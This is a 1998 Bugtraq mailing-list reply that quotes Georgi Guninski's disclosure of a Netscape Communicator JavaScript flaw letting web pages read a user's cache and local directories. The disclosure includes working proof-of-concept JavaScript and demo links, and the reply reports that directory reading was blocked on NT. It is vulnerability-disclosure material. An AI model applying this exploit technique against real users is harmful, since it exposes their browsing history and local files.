[8370] in bugtraq
Re: Javascript bug in Netscape Communicator 4.5
daemon@ATHENA.MIT.EDU (Jim Reavis)
Tue Nov 3 16:24:06 1998
Date: Fri, 30 Oct 1998 11:08:07 -0800
Reply-To: Jim Reavis <jreavis@AISTRAT.COM>
From: Jim Reavis <jreavis@AISTRAT.COM>
X-To: Georgi Guninski <guninski@HOTMAIL.COM>
To: BUGTRAQ@NETSPACE.ORG
Good work. FYI, when I tested the pages with NT the cache reading problem
was also there, but the directory reading script appeared to be blocked with
the following error messages:
"JavaScript Error: file:/c|/, line 2:
access disallowed from scripts at
http://www.geocities.com/ResearchTriangle/1711/b5.html to documents at
another
domain."
Jim Reavis
SecurityPortal.com - The focal point for security on the Net
Jreavis@aistrat.com <mailto:Jreavis@aistrat.com>
(360) 739-9629
-----Original Message-----
From: Georgi Guninski [mailto:guninski@HOTMAIL.COM]
Sent: Wednesday, October 28, 1998 10:22 AM
To: BUGTRAQ@NETSPACE.ORG
Subject: Javascript bug in Netscape Communicator 4.5
There is a bug in Netscape Communicator 4.5, 4.07, 3.04
under Windows 95
(probably others) which allows reading user's cache (the
urls the user
has visited, including the info in GET forms). Reading local
directories
content is also allowed. This info may be sent to an
arbitrary host.
The bug may be exploited by email.
Demonstration is available at:
Cache reading:
http://www.geocities.com/ResearchTriangle/1711/b4.html
Directory reading:
http://www.geocities.com/ResearchTriangle/1711/b5.html
The javascript code is:
sl=window.open('wysiwyg://1/about:cache');
//For Netscape 3.04 remove 'wysiwyg://1/'
sl2=sl.window.open();
sl2.location="javascript:function f() {s='<SCRIPT>cr=\"\t
\"; x=\"Here
are some links from your cache:\"; for(i=0;i<5;i++)
x+=opener.document.links[i]+cr;alert(x);</'+'SCRIPT>';return
s};f()";
sl2.location.reload();
Workaround: Disable Javascript.
Regards,
Georgi Guninski
http://www.geocities.com/ResearchTriangle/1711/
______________________________________________________
Get Your Private, Free Email at http://www.hotmail.com
